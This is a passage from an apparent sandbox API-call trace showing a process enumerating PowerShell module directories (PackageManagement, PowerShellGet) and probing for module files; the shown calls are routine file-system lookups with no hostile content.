cAlternateFileName="")) returned 1 [0130.920] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0130.920] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0130.920] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.920] FindClose (in: hFindFile=0x5c26638 | out: hFindFile=0x5c26638) returned 1 [0130.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e150) returned 1 [0130.920] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3b0) returned 1 [0130.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0130.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0130.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0130.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0130.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0130.921] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0130.921] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0130.922] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0130.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0130.922] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0130.922] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0130.922] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0130.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e130) returned 1 [0130.922] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x572e3f4 | out: lpFileInformation=0x572e3f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0130.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e12c) returned 1 [0130.922] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3e0) returned 1 [0130.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0130.923] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0130.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x572e190 | out: lpFindFileData=0x572e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c26638 [0130.923] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.923] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0130.923] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.923] FindClose (in: hFindFile=0x5c26638 | out: hFindFile=0x5c26638) returned 1 [0130.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e150) returned 1 [0130.923] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3b0) returned 1 [0130.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0130.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0130.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e134) returned 1 [0130.924] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572e3f8 | out: lpFileInformation=0x572e3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0130.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e130) returned 1 [0130.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0130.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0130.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0130.924] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0130.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e158) returned 1 [0130.924] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2256034 | out: lpFileInformation=0x2256034*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0130.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e154) returned 1 [0130.924] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0130.925] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0130.925] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0130.925] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0130.925] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0130.925] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0130.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3e0) returned 1 [0130.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0130.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0130.926] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x572e190 | out: lpFindFileData=0x572e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c26638 [0130.926] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.926] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0130.926] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.926] FindClose (in: hFindFile=0x5c26638 | out: hFindFile=0x5c26638) returned 1 [0130.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e150) returned 1 [0130.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3b0) returned 1 [0130.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0130.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0130.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e134) returned 1 [0130.927] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572e3f8 | out: lpFileInformation=0x572e3f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0130.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e130) returned 1 [0130.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0130.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0130.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0130.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x53 [0130.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e158) returned 1 [0130.927] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x22575a4 | out: lpFileInformation=0x22575a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea79a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea79a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0130.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e154) returned 1 [0130.927] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psd1")) returned 0xffffffff [0130.927] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.psm1")) returned 0xffffffff [0130.927] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.cdxml")) returned 0xffffffff [0130.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.xaml")) returned 0xffffffff [0130.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.ni.dll")) returned 0xffffffff [0130.928] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\PowerShellGet.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\powershellget.dll")) returned 0xffffffff [0130.931] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0130.937] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0130.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e3e0) returned 1 [0130.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0130.938] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x31, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0130.939] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x572e190 | out: lpFindFileData=0x572e190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5c26638 [0130.939] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.939] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0130.939] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0130.939] FindNextFileW (in: hFindFile=0x5c26638, lpFindFileData=0x572e198 | out: lpFindFileData=0x572e198*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.939] FindClose (in: hFindFile=0x5c26638 | out: hFindFile=0x5c26638) returned 1 [0130.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e150) returned 1 [0130.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e3b0) returned 1 [0130.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0130.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0130.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0130.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0130.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0130.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0130.940] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0130.940] GetFullPathNameW (in: lpFileName="C:\\Program Files 